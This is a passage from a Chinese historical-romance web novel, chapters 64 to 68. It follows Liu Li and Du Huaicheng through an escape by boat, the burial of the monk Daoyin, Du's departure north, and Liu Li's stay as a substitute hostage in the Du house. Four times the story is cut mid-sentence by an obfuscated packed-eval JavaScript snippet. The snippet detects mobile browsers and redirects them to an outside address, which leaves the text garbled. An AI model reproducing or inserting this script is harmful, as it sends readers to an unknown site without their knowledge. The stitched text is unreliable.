黄六娘将几人来回打量过，才淡淡道：“原来是二位。” 杜淮琤拱手施礼，“我等行路在外多有不变，不得已才改换了装束。” 黄六娘点点头，并不见太多讶异。杜淮琤照旧例往竹篓里投了九文钱，竹篙轻点，“欸乃”一声离了岸。 64. 六十四 鸳鸯梦惊 天气晴好，湖面泛着粼粼波光，烘得身上暖暖的。济圆敞开外裳，趴在船头看摇橹船将湖水拨开，惊起水中鱼群无数。 刘梨坐在船舱边，叮嘱济圆小心。回头看杜淮琤，靠着舱壁已经睡着了。这些时日他格外辛苦，眼底乌青，两颊微陷，真有几分浪迹江湖的沧桑感。刘梨从没这么认真地看过他：剑眉上扬，透着磊落英武之气；浓密的睫毛掩住双眼，鼻梁挺拔如峰，视线顺着鼻骨两侧暗影绵延而下，嘴唇，唇…… “好看吗？” 杜淮琤不知何时醒了，看刘梨愣愣盯着他嘴唇，心里暗自欢喜。前两日开始就没有粘假须，他自己的胡茬已经占了半张脸。可惜没条件修面，若是往日丰神俊朗的杜淮琤，还不把小娘子迷死？ 刘梨偷窥被逮个正着，大囧，丢下一句“你好好休息。”慌不迭跑出舱去，留杜淮琤在原地畅怀大笑。 济圆回身看他们，露出腰间所系粗布。撑篙的黄六娘怔住，指着布问济圆：“小师傅，你这布哪儿来的？” “这个吗？”济圆指指腰间系缚骨坛的粗布。“这是我师父行囊里的，他老人家向来珍重，从不让外人摸。现在被我拿来用，不知道师父会不会生气。” 刘梨见孩子又勾起伤心事，搂着他安慰，没注意黄六娘眼中一闪而逝的惊惧。 “不会的、不会的，一定是巧合，是巧合。”她安慰自己。 “六娘，你说什么呢？” 黄六娘按下情绪，反问道：“你们这回来停翅乡做什么？” “来给大师父找一处福地，好叫他入土为安。”杜淮琤步出船舱抢道。 黄六娘停住篙，指着济圆腰间问：“是他吗？他真是停翅乡的人？” 刘梨和杜淮琤答不上来，齐齐看向济圆。小沙弥被盯得有些紧张，“我不知道，只是听师父提过几回。说什么凤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076633|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凰落翅且安，师父说他老了，也该回家了。” 黄六娘应该也是老了，撑篙许久有些眩晕。杜淮琤看她背过身去，双手支着竹篙止不住地战栗。 “六娘……” “我没事。”她的声音听起来有些哽咽。“停翅乡钟灵毓秀，你们去乡里找个风水先生，点个吉穴将人安葬了吧。”说完便不再多话。 三人辞了黄六娘往乡里去。停翅乡地处偏远，外头的纷争似乎对这个小镇没有太大的影响。杜淮琤提议在此地休整一晚，那两个忙不迭答应了。 镇上只一家客店，杜淮琤要了两间房，又另给小二几个钱要了热水。刘梨浸在澡桶洗去一身疲惫，舍不得热腾腾的热水忍不住多泡了一会。还以为晚了，下楼等了片刻杜淮琤才出现，换了身简净的衣袍，胡子也收拾干净了，头上戴了儒巾，寻常的衣裳也穿出几分翩然的风度。发觉刘梨在看他，耳廓可疑地红了红。 65. 六十五 泛舟江湖 “你们在做什么？！” 远远又来了一队人马，到近前停住。有人点亮火把，来者竟是丽娘。她自小在叔父身边当男孩养的，不比寻常深闺女子，此次随行既是陪同新婚丈夫出游，也是应叔父之意，时时从旁提点伍子骥。 白日她就觉得不对劲，不想还真出了事。 伍子骥松开刘梨，稍稍整理情绪，才转身道：“丽娘怎来了？” 沈丽娘就着跃动的火光，看清他脸上的血，在刘梨和他身上巡睃一遍。“是谁惹得夫君动怒，黑灯瞎火追到这荒郊野岭来？” “这是宁王颁令抓捕的要犯，今天在城里发觉这伙贼人的行迹，我等一路追到此地，正要押解回去。” 沈丽娘仿佛才看见伍子骥脸上的伤，惊讶问：“夫君受伤了？”正色喝道：“一群庸才！平日养着你们是吃干饭的吗？怎么让贼人伤了伍先生？” 眼前这些官兵大多是沈思芳的手下，向来听用于沈家。见沈丽娘发怒都不吭声，又听她不清不白地唤他“伍先生”，也是叫他们识清伍子骥身份，知晓谁才是主子。 伍子骥自然也明白。 “丽娘莫恼，一点小伤不碍事。”他压着情绪说道。 “是她吗？”丽娘用马鞭挑起刘梨的脸。“是个可怜样儿，怪道能叫男人失了自制力。”她乜斜向伍子骥，后者转过脸去，带血的半张脸隐没暗处。 “啪！” 沈丽娘突然发力，凌空一鞭，正抽在刘梨肩上。力道之大将她直打在土里，撕裂处迅速渗出血来。 “住手！”杜淮琤趁守卫松懈，挣开身扑到刘梨身边。见她脸色青白，疼得直抽搐，死死咬住唇才没喊出声。 “呵，有点骨气，再来一鞭不知道还受不受得住。”沈丽娘高高扬起就要挥下第二鞭。 杜淮琤紧紧抱住刘梨，把她全笼在自己身下。 一个火球突然在人前炸开，兵士大喊“保护小姐！”组成人墙把沈丽娘围在中间。夜色深沉，看不见敌方虚实。接着又是一个火球，这次惊到了马群，马蹄腾空放声嘶鸣，惊马开始没头苍蝇一样在人堆里冲撞。 一个矮小的人影趁乱摸来，竟是济圆！ 他伸出一根手指示意杜淮琤噤声，又指了指湖上，和杜淮琤一道托起刘梨下水。 伍子骥发现异常，推开挡在跟前的士兵，“快拦住他们，别让他们跑了！” “哗啦”水声，人已经下了水。冬季的湖水冰冷刺骨，追击的士卒赶到湖边，这些都是城里常年养着的府兵，养尊处优久了，看到浩渺湖水停步不前。 伍子骥赶上来，骂道：“快追啊！” 领头的兵士看看沈丽娘。 刚才的火球是浸了松油的竹篓，溅起的火星子给丽娘的裙子灼了好几个洞，正着恼，见伍子骥不来关心她，还想着追人。朝一众兵士狠道：“还不去找马？寻不回来你们几个把本小姐驮回去！” 冷水浸透衣裳，侵入伤口，想拽着刘梨往湖底沉去。她陷入寂静寒夜，湖水封住了五感，好像回到了母体里，只有脑子勉强还能做一点迟钝的思考。 莫不是要穿越回去了？当真是南柯梦醒，一切成空？ 身体突然被托起，破水而出。黑黢黢的湖面上停了一艘船，杜淮琤、济圆合力将刘梨托举，黄六娘拉住她上了船。 躺到甲板上，刘梨找回呼吸，才反应过来死里逃生了一把。 夜风一吹，冰寒刺骨。 “快到舱里去，把湿衣裳脱了。” 济圆果然能干，卷上客房里他和杜淮琤的行李逃至渡口找到黄六娘，又因担心刘梨二人安危，一直在湖岸不远守着，直到沈丽娘的人马闹将起来才叫他发现踪迹，与黄六娘合力救下二人。 黄六娘的船舱不大，一灯如豆，照得刘梨一张脸半点血色也无。 杜淮琤换过衣裳，进舱就见黄六娘对着刘梨肩上的伤束手无策。地上、水里的脏污混着湿透的布料残絮粘住伤口，稍动一下就能撕下一块血肉。 “我来。” 他扶起刘梨，脱到只剩一件里衣，让她轻轻靠在自己怀里，“要是疼得受不住，你就咬我。”拔下她发间簪子，一点点挑开血肉。 “有酒吗？” 黄六娘翻出一壶烧酒递给杜淮琤，“我去撑船，此地不易久留。”她看不得这些，转身出了舱。 “你忍忍。”杜淮琤咬开瓶塞，按紧刘梨，一壶烧酒尽数浇在她伤口上。 巨大的刺激使得刘梨忍不住抽搐，脸上说不清是水还是汗，咬紧牙关，发出压抑的呻吟。 迅速上好药粉，杜淮琤用自己的夹袍裹好她，抱住再没放手。 舟子在湖上漂荡，超出世间，深乐寂灭。 混沌中似乎只剩他俩。 “淮琤，我没有…” “我知道。”他打断她。 被伍子骥按到泥里她没有哭，被沈丽娘鞭子抽打也没掉一滴泪，听到杜淮琤说他知道，刘梨的眼泪却像掉了线的珍珠大颗大颗滴落。 “我不脏，我不脏。”她呜咽出声，宣泄着委屈。 他一遍遍哄她，吻去泪水，轻啄她的唇。直到她停下哭泣，又将她抱紧，轻轻拍抚刘梨后背。 “阿梨，我向你发誓，以后再不让你受半点委屈。你也答应我，不要为任何人做傻事，哪怕是为了我，好不好？” 刘梨无声点点头，杜淮琤不满意，托起她下颌，要她亲口说出来。 灯火映得杜淮琤目光灼灼，在他眼底清晰看到自己的影子。 被蛊惑一般，“我答应你，不再做傻事。” 他这才满意，额头抵着她的，再次覆上她的唇。仿佛焦渴的旅人啜饮清泉，杜淮琤寻觅许久的绮梦终于得偿所愿。感受到她实实在在地在他怀里，感受到她的唇因他变得温暖潮热…… 黄六娘把船停在凸出的岩壁下，以船身作挡，升起一小堆篝火。 “多谢六娘相救。”刘梨散着头发，脸上有了些血色。 黄六娘扒拉着火堆，半晌才道：“我不白救你们，把他留下。” 济圆还没从劫后余生恢复过来，“我？” 她手上枯枝轻点，却是指向济圆身边的道隐佛骨。 “那块粗布是我织的。” 众人皆一惊。“那会我才学织纴，经纱、纬纱编的一塌糊涂，偏他说我织的好，还撺掇把我俩头发织进去，想不到……这竟成了他留在世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16101064|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的最后一缕发。” “道隐师父，就是你歌里的……二哥哥？”黄六娘点点头，人事无常，想不到命运开了个这样的玩笑。 “道隐漂泊多年，为什么不回停翅乡呢？”刘梨不解，念了一辈子，到死也没相见。 “师父说他以前过得很苦，买他的那家不把他当人。有一天实在受不住，打杀了那家男人，生死不知。师父逃脱出来，一路颠沛流离，最后不得已躲到寺里去，又被同门欺凌才做了个游方的和尚。”济圆凭着记忆道来。“他不止一次想落叶归根，又怕牵连别人，所以一直漂泊江湖，直至了此一生。” “哪里就怕被你牵连了？”六娘粗砺的手摸上道隐骨坛，那块褪了颜色的粗布，似乎告慰了他的一生。“老东西，你嘴里念弥陀，一生怎奈何？佛前参不透，临了空娑婆。”眼泪打在布上，洇晕开来，经久的料子现出两点艳色，仿佛它最初的模样，很快又黯淡下去。 刘梨开始自责来此，不来黄六娘就不会知道真相，让她永远怀着希望是不是更好？ 东方既白，换上熏干的衣裳，黄六娘把刘梨他们送至河滩，“这里很安全，他们追不到这里。” 杜淮琤肃然行过大礼，“黄六娘救命之恩，杜淮琤铭记在心，他日定当送几坛好酒来以作酬谢！” “好！我也祝两位白头相守，无有遗憾。” 济圆把刘梨拉至一旁，“梨姐姐，我想留下来。” 刘梨吃了一惊，“你是舍不得留下师父吗？” 济圆抿着嘴，边思量边道：“我是师父托钵讨饭养大的，他老人家养我一场，我的命是他给的。我想替师父陪着六娘，给她养老，也想多看看师父长大的地方。” 刘梨明白他的意思，爱怜地摸摸孩子。“济圆，他们的遗憾不是你的因果，今后你可以选择自己的生活，不需被恩情捆缚住。” “梨姐姐”，济圆一把搂住她，“我明白的，师父对我好，你对我也好。济圆想好了，就留在停翅乡，以后我想你了，再去找你们。” 杜淮琤也过来安慰她，“我们前路未知，带着济圆未必稳妥。昨晚那样的险境，你也不想孩子再经历是吧？不如把他留在这里，由六娘照看。” 黄六娘揽过济圆，“我喜欢这孩子，一定好好养育他，你们放心。” 扁舟离了岸，只听六娘声道：“济圆儿，我知道一个藏风聚气的好地方，你师父一定喜欢。” 刘梨依依不舍目送他们离开，杜淮琤牵住她，“我一定不会像道隐，留下终生遗憾。我俩今生今世都在一起。”刘梨红着脸甩开他，“胡诌什么呢！” 杜淮琤追上她，“我说，不管在哪儿，哪怕关山万里我都会回到你身边。” 刘梨佯怒，“那你可得走快点，我才不会像六娘那样一辈子等一个人。世间好儿郎多了，不只你杜淮琤一个！” 他急了，跑前拦住她，“别呀，其他人哪有我好？阿梨，你看看我、你看看我。”他捋起自己袖子，“你看我这身肉皮儿多好？你不喜欢吗？” 女孩儿被臊红了脸，“无赖！”杜淮琤被骂得喜笑颜开，“我就赖上你了。”偷了个香，“杜淮琤赖上刘梨，白头到老，矢志不渝！” 66. 六十六 江海归客 眼看到了徽吉城外，杜淮琤方向一转，进了城郊一座渔村。 村头一棵老树，冬日里掉光了树叶，看不出什么品种。枝头缠绕根根褪了色的红绸，那是对外出的舟子平安归航的祈愿。几个村妇坐在树下补渔网。撑开的渔网像重重浪涛，流水通波般在风里晃荡。 见到外客，有老妇问道：“客从何来？” 杜淮琤答：“从来处来。” “来此何干？” “山寒归路迟，特来此找老友借宿一晚。” 老妇笑了，重新拾起手里的活计，“我们这乡下地方，怎么有贵客的朋友？村里男人都不在，借宿多有不便，客请回吧。” 杜淮琤也不慌，上前对老人家施了一礼，才道：“青山一道同云雨，明月何曾是两乡。” 老妇停下手里的动作，仔细辨过二人容貌，才朝身后喊：“阿七家的，带他们去见太公。”一个瘦黑的女子应声起来，对二人道：“跟我来。” 两人跟着女子在村里绕了几个弯，进了一个窄门。通过逼仄的通道后，眼前豁然开朗。院里站了两三个汉子，听见他们动静已摆开架势。女子对为首的汉子道：“他们来见阿公。” 屋子里摆了各式渔具，老爷子背对门正鼓捣什么。大冷的天就穿了身单衣，听到推门声，转过脸来。 “何叔。” 何亦武看清来者忙起身相迎，“东家！”苍老的一张脸百感交集，话不知从何而起。 杜淮琤以漕船作聘，何亦武表现得一直很抵触，多次公开冲撞家主。后来更是与都水监闹过两场，还把曲西阜的人打了。杜淮琤金陵失踪，何亦武也带着自己的船队失了联系。 眼看何亦武与杜淮琤神态，竟是劫后余生的欣喜。刘梨纳罕，“之前种种莫不是你与何统领演的苦肉计？” “何叔与我父共事多年，彼此交洽无嫌，我对他最信任不过。发觉宁王对杜家有觊觎之心，我先通过伍子骥联系曲家表达联姻的意愿。”提到伍子骥他留意了下刘梨，见她神色不变，才继续说下去：“曲家早归附了宁王，我这番示弱，将一十八道舟楫全部交付，也是用了缓兵之策。宁王暴戾，实在不是可以依附的明主贤君，杜家不愿白白葬在这等人之手，才与何叔定下计策暗度陈仓。” 刘梨抚着心口，担忧道：“宁王岂是肯轻易罢休的人？以后该当何如？总不能躲一辈子。” 杜淮琤眼神询问何亦武。老者花白了头发，豪性不减当年。“岳暮蝉和白家的小子，在江上闹得波涛浪滚，引着都水监满江河乱窜。郑统领趁乱带着三船粮食及其他物资已经北上了，一切按先前计划好的行事，就等东家回来主事压阵了。” 刘梨想问询详情，外面忽然闹腾起来。一个小人儿跑进门，一猛子扎进刘梨怀里。 刘梨险些站不住，捧起孩子脸定睛一看：“修齐！” 后面跟着程锏，还有一个，竟然是阿麦？ 刘梨招手阿麦近前，也一把搂住了，三个人挤在一处又哭又笑。两个小子大半年长高了许多，尤其阿麦，又黑又壮实，身高快赶上她了，被刘梨搂得老大不自在，幸好脸黑看不出，不然得被修齐取笑好多天。 “阿麦怎的也在这里？我以为……” 杜淮琤上前不动声色拉开两个小子，“我瞧阿麦是块练武的好材料，央程锏送去他师兄那儿历练，你以为呢？” 刘梨不敢直说以为杜淮琤把阿麦发卖了，这人最近小气地很，会记仇，然后再恬不知耻地跟刘梨索要补偿…… “这次接修齐出来，阿麦帮了不少忙，没给咱爷们丢脸。”程锏原本两臂抱胸，放下手对刘梨致礼，“多谢刘姑娘照应二爷，当日情况危急，拉姑娘涉险也是情势所逼。” 刘梨忙回礼连说不必。何亦武召唤侄儿阿七安排他们休息，阿七媳妇带着两个孩子和刘梨去安置。 杜淮琤走慢一步，对着程锏压声道：“做得好。”程锏眼神怪异，也不知道听没听懂。 修齐拉着刘梨说了一通学堂的事，想不到他在书院适应很好，颇有些乐不思蜀，阿麦不时插上两句，又问刘梨的近况，怕孩子多虑，含糊说了些不要紧的。 晚间安歇，刘梨借了身阿七媳妇的衣裳，坐在半掩的窗边擦头发。 不用风餐露宿担惊受怕，难得静谧的一晚。 “这么冷的天湿着头发吹风，仔细头疼。”熟悉的声音在窗后响起。 似乎知道他要来，嘴角无声翘起。 天上的月亮发出蓝幽幽的光，刘梨想起六月六采酒药草的那天：姑娘们唱起哀伤的情歌，期盼早日与情郎相聚。歌声哀怨婉转，融入夜色，飘飘悠悠直到今天还在耳边回响。那时候的他们，哪会想到今日的光景？ 杜淮琤的身影映在窗上，是不知道怎么开口吧？ “你要走了吗？”不如她来打破沉寂。 “……是。”她还是那么聪慧，叫他怎么不爱。 “你决定的事放心去做，其他的我会照应好。” 好半晌没有应答，“我很早就开始为杜家谋划。”杜淮琤缓缓开口，把这些年的筹算一一道来。“杜家持有的‘榷酒令’外人无不称羡，它给杜酒带来巨大财富，却也是我家的心腹之疾。太平年里自然无虞，然而近年边关战乱、国库亏空，百姓早苦不堪言。偏各藩王骄奢淫逸，纵情享乐，等到入不敷出，杜家、曲家这样的豪富人家自然入了他们眼。”他握紧了拳，“杜淮琤非利令智昏之人，父亲在时常说‘积善之家必有余庆’，教导我等要博施济众。如果非要选，拼了这家业不要，我也不愿杜家落在宁王那样的人手里。” 刘梨伸手摹画窗上的侧影，杜淮琤似有所感，转过脸来，“阿梨，我要与何叔他们北上，倾杜家家资归附皇长孙。” 刘梨惊骇，想不到他竟是舍出整个杜家去拼。“皇长孙？昭仁太子之子？” “正是。昭仁太子以仁德闻名，因‘厌祷案’与圣上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111189|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 产生嫌隙，而后郁郁早逝。据传太子薨后，圣上悔痛不已，这才迟迟未立储，反而颁诏将皇长孙接入宫中，着虞王亲自教养。” “你是说皇长孙可能被立为储君？”刘梨明白，杜淮琤舍弃了雄踞一方的成年藩王，将全部身家押在皇长孙身上，实在冒着极大风险。一招棋错，满盘皆输，思虑片刻问道：“什么时候走？” 他没有立刻回答她。窗户上的剪影消失，身后门扉轻响。 杜淮琤接过布帕，轻柔地给她擦头发。 刘梨追问：“明日便出发吗？”感觉到他动作一顿，算是默认。 她心里酸涩起来，突然抱起一丝幻想，“杜淮琤，咱们撇开这些！什么宁王燕王，由他们自己去争。我俩找个地方躲起来好好过日子，避过纷争，等日子太平了，再出来酿你的酒不行吗？” 他轻笑，脸颊抵着她发顶，声音闷闷的。“我也想和你寻一处地方，与世无争长相厮守，可杜家是我躲不掉的宿命。”杜淮琤从来是杀伐果决的，未曾想也有这样犹豫不决的小儿女情态——全因对这个小女子动了情。 可是不行啊，他肩头的担子太重。杜淮琤不能软弱，他要为杜家做个了断。 刘梨按住他双手，心知不能挽留，倚在杜淮琤臂弯里，“好，你去做你的大事，我在家等你。” 杜淮琤捏紧了帕子，易时易地，他听到这话该是狂喜的，可此去一路凶险，前途莫测，若是……岂不是辜负她一场？ “我知道你在想什么！”刘梨站起身，叱道：“你莫不是忘了和我许诺过什么？你说定不会像道隐那样留下遗憾，说我俩今生今世都在一起。杜淮琤，这些话你都忘了？” “阿梨，我没忘。” 她故意撒泼，不给他辩驳的机会，“还是你仍想着曲家小姐，要做曲家的东床快婿？” 杜淮琤急了，“怎么会！与曲家联姻本就是做戏，我和曲小姐的婚约不作数。曲雪吟冰雪聪明、左右逢源，她压根没看上我。” “别人看不上的，我也不要。” “不行！你后悔来不及了。” “那你在迟疑什么？说好不离不弃，转眼就变了卦，我虽是个没根底的丫头，也不容你这般捉弄。” 后面的话没机会说出口，杜淮琤狠狠堵住了她。明知她故意拿话激他，还是不允许阿梨那样贬低自己。 他惩罚般地碾压她，将她的美好尽数吞进。而她像个快溺水的人，只能攀附于他，沉溺在他的气息里，任由男人在她的皎洁留下属于他的独有印记。 恋恋不舍分开，两个人气息都有些乱。 “我派程锏送你们回白水，边护使与我有些交情，我拜托他暗地里照应你们。” “嗯。”她埋头在他胸襟，听他絮絮叨叨地叮咛。 “白水城里混有暗探，你们行事要多加小心。”她闷闷点头。 杜淮琤抚着她，一遍遍说：“阿梨，等我回来，等我回来。” 67. 六十七 青丝为笼 陈二哥肩挑一幅担子，敲开了杜府角门。 门刚打开，一个裹着头巾的妇人就低头挤了进去，门房刚“诶”了一声，陈二哥忙上前拱手道：“那是我家妹子，上回来大奶奶说要鲜果子，大哥你说这个天，鲜果多难寻啊？好不容易弄得一些，这不我妹子抢着去献宝呢。”那门房是面生的，被陈二哥一通连珠炮说得迷糊。“我这儿还藏了几个鲜果，大哥拿回去自己吃或给孩子都行。”这月份果子比鲜肉更难得，那人很快被吸引了注意力，喜滋滋收了。 “陈二妹子”轻车熟路，绕开园中主路，一路畅通无阻来到东苑，把门上的香尘唬了一跳，“你是何人？怎么进来的？”“陈二妹子”扯下头巾：“嘘～香尘姐姐，是我。” 香尘看清来人，忙将人迎进去。薛素卿听见香尘去而复返，“这是怎么了？” “大奶奶，你快看这是谁？” 薛素卿把面前的村妇仔细端详，“你是…刘梨！”忙把人拉到跟前坐下，香尘给刘梨倒了杯茶，去门外守着。 “你怎么独个儿回来了？二叔他人呢？” “这些回头再讲，快，把你衣裳和我换了！”说着就开始扒自己衣裳。 薛素卿不明就里，“这是做什么？” “事不宜迟，你快换了我的衣裳出去。修齐还在外头等你呢。” 果然听到修齐的名字，薛素卿慌了神，机械地和刘梨对换了衣裳，再唤进香尘找了些细软贴身藏好。 扮作薛大奶奶的刘梨香扇掩面，由香尘搀扶，将“陈二妹子”送出花园子。远远的陈二哥正挑着空担等她，冲刘梨做了个安心的表情，将人带出府。 香尘望着二人背影面色焦急，刘梨袖底暗暗揪着她，提醒她不要露出马脚，仍由香尘扶着，慢悠悠进了东苑。打那以后大奶奶更是闭门不出，底下人鲜少见着她面。好在薛素卿本就不大出门，倒没找来多少非议。 陈二哥带着乔装的薛素卿出了白水城，程锏等在城外，见二人平安无事，松了一口气。“多谢陈二哥大义相助。” “大义我不敢当，是刘姑娘胆大心细，想到这个偷天换日的法子。” 薛素卿干着急，问询到底怎么回事。两人别过陈二哥，边走边讲把事情首尾始末与薛素卿说了个大概。 “刘梨是要代替我做人质，自愿被软禁在府里？”宁王失了杜淮琤这个聚宝盆，发了好大一通脾气。伍子骥提议跑得了和尚跑不了庙，“白水杜府是他的根基，家里还有个长嫂，以杜淮琤的秉性不会弃寡嫂不顾。不如就守着杜家，来个守株待兔，以逸待劳。” 杜淮琤也想到了这一点，嘱托程锏想办法将大嫂救出府。他们到了白水，果然发现杜家被人盯上，府里有没有被渗入也未可知，是刘梨想出这法子换薛素卿出府。程锏修齐起初不肯，刘梨劝诫他们不要顾此失彼，乱了大局。“刘姑娘玲珑剔透，定会想办法脱身。你们先在臧管事的庄子躲两天。等我替二爷办好一件大事，再重新安置。” 臧管事的庄子人口少，只一条路上下山。修齐原先闹着也要进城，被程锏拦下，这会候在路口，看清是娘亲，哭着就迎了上来，母子俩半年多没见，再见面已遭逢家族危难，有家不能回。顾不得其他，抱住痛快哭了一场。程锏交代阿麦照顾好他们，一人一骑潜入了西岭山。 西岭酒坊的水车还在吱呀转着，酒坊停工，无人顾及水车的运作，由着它日夜轮转，像一曲薄暮的悲歌。外头的消息或多或少传进山里，坊里的工匠散了大半，还有些无处可去的或舍不得走的，仍守着酒坊，盼着哪天局势好起来又恢复往昔了。 易全剪过灯花，擎盏灯摆在书案上。周坊主盯着手里书卷，似并未受影响。易全又提起茶壶，去廊下添水，大林正好过来，大咧咧就要往里走。 “哎，有没有眼力见，坊主忙着呢，这会别打扰他。” 大林把易全拉下台阶，“全哥，又有几个工匠要走…” 易全把他往远处又拽了拽，低声道：“走就走吧，还按惯例，给足了遣散的银钱，不要为难人家。” 大林皱着眉，“酒坊停工这么久，只见往外洒钱，不见有进帐，这日子什么时候是个头？全哥，你在坊主跟前有脸面，要不打听打听咱东家是个什么意思呢？” 易全立马沉了脸，“东家的事也是你我打听的？大林你要也待不住，趁早领了银钱回去，西岭酒坊断不留你！” 大林连连摇头否认，“我大林虽然不着调，但是对咱酒坊绝没有二意，就是替东家心疼银子。” 暗处响起一个冰冷的声音：“二爷要是知道你等替他心疼银子，一定很欢喜。” 来人从暗处步出，冷峻的一双眼，比夜色更寒。 大林莫名地打了个哆嗦，“程爷。” 程锏没理会他，跨上台阶最高处，“二爷在外头奔波，知道坊里惦念，特命我回来报个平安。” “东家平安，我们也就放心了，还盼着东家早日归来，我等也好有个主心骨。” 他们说话的声音不小，奇怪的是里面的周坊主一点回应都没有，不听他唤程锏进屋，程锏也没有进去的意思。 “主心骨？这坊里做主的人还少吗？”程锏冷道。 大林再迟钝，也听出话里不对劲，暗悔怎么挑上这个时候来回话，想悄么声退下也不妥，站在易全身后如履薄冰。 “坊里诸事皆奉惯例，偶有下面无法定夺的，都禀明坊主拿主意，我等不敢擅专。” 程锏居高临下，审视阶下的人。“不敢擅专？我瞧你主意大得很！杜家待你不薄，何故背信弃主？！”话音刚落，腰间宝刀随即祭出，抵在喉间。 大林吓得跪坐在地，看着森冷的刀刃抵在易全脖颈，脑中混乱，一时不知作何反应。 易全最初闪过一丝慌乱，但是很快冷静下来，知道事情败露，他是跑不了了。 “程爷的刀，易全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149150|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早有耳闻，宝刀出鞘，山里熊罴见了，也要瑟瑟发抖的。想不到我自家今日就要成了程锏刀下的冤魂。” “你算不得冤魂，见利忘义、卖主求荣，活该被斩杀！” “你知道什么？见利忘义？你可知……”易全激动起来。程锏把刀往前送了送，“知道什么？知道酒方泄密、杜家颓败有你的一份‘功劳’？我没兴趣知道一个叛徒的心声，有什么冤屈找阎王哭诉吧！”手起刀落，没一个多余的动作即将易全斩杀于阶下。 大林被溅了一身血，瘫软在地上叫都叫不出声。程锏用易全的衣裳擦净刀身，收刀入鞘。 周坊主苍老的声音从屋里传来，“西岭山钟灵毓秀，草木风物不可肆意亵渎，将那孽障……远远埋了吧。” 白水城里的杜府越加安静下来。 府里仆佣本就不多，近些日子，有自请离去的，都给了放身文契并赏下遣散的银两，连大奶奶身边的香尘都被放了出去。她一个从小买进来的，出去也不知道怎么过。 “你出去后先去城外庄里住几天，到时候自有人接应你。” “那你怎么办？跟我一起走吧。” 扮成薛素卿的刘梨摇摇头，“我哪儿也不去，我答应过他在‘家里’等他。”香尘张了张嘴，再说不出安慰的话。 府里开始传，东苑的“大奶奶”不是“大奶奶”，要不怎么把贴身的婢女都赶走了？不过传言没多久便消失了，像莲池里一个无关紧要的泡沫，炸开，消失，平静无波……无人在意东苑里的主人是谁，留下的人默契地守护着这个老宅，好像上天赋予他们的最后使命。 在一片寂寥里，这个年悄无声息地过了。 沉寂了几个月，压抑的绿意开始复苏，养和堂前一株玉兰，虬枝上冒出许多花苞，像挂了一树的湖笔，准备在哪个春日里不期然绽开。 前些日子，刘梨搬回了短暂住过的西苑。这次她有更多的时光在这里消磨。 杜淮琤的卧房和书房她每日打扫，后来实在枯寂无聊的岁月，她开始翻阅他的书，先是些文史典籍，还有诗集传记，后来翻到一本游记手札，应该是杜淮琤自己写的，记述了他早年游履在外的一些经历。札记里的杜淮琤恣意张扬，有故作深沉的少年愁绪，有路见不平的仗义相助，更多的是游历大好河山的喟叹，和见识广袤寰宇的欣喜，很有些乐不思蜀的意味。刘梨忍不住想象那时杜淮琤的样子，鲜衣怒马少年时，该是怎生得意的模样？后来读到他获悉兄长过世，匆忙往家赶，夜宿巴山时的哀痛悲伤；再后来回到家，面对老父、寡嫂、侄儿和偌大家业的彷徨无措，自那后，手札便空了下来。 这本手札刘梨反复读了好多遍，她仿佛陪着杜淮琤，走过了那些或悲或喜的倥偬岁月，她迫不及待想见他，想与他分享那些快意恩仇，想安慰他的孤寂萧索，然后又迟疑，或许该装作不曾看过这本札记。 在她迟疑间，一场倒春寒忽然袭击了北地郡。 68. 六十八 归也何妨 杜家被抄那天异常地冷。 这场倒春寒来得突然，冷风从关外席卷而来，带来了塞外的刺骨冷风，也带来了夷人的肆意侵扰。边护使承担巡边重任，夷人甫一发难便集结边军，一边组织兵力出城御敌，一边分拨人手留守城内，不论官民轻易不得进出。 今年不太平。 前些年举国之力击溃了大股夷人，把他们赶出关外才好不容易消停了两年。今朝战火却从大庥内部燃了起来。 北地郡乃边城重镇，燕、宁二王兄弟阋墙，争夺王储的战火暂未燃到这里。两位皇子还不算糊涂，知道边军的分量，明面上都没有动静，私底下拉拢的小动作一直不少。 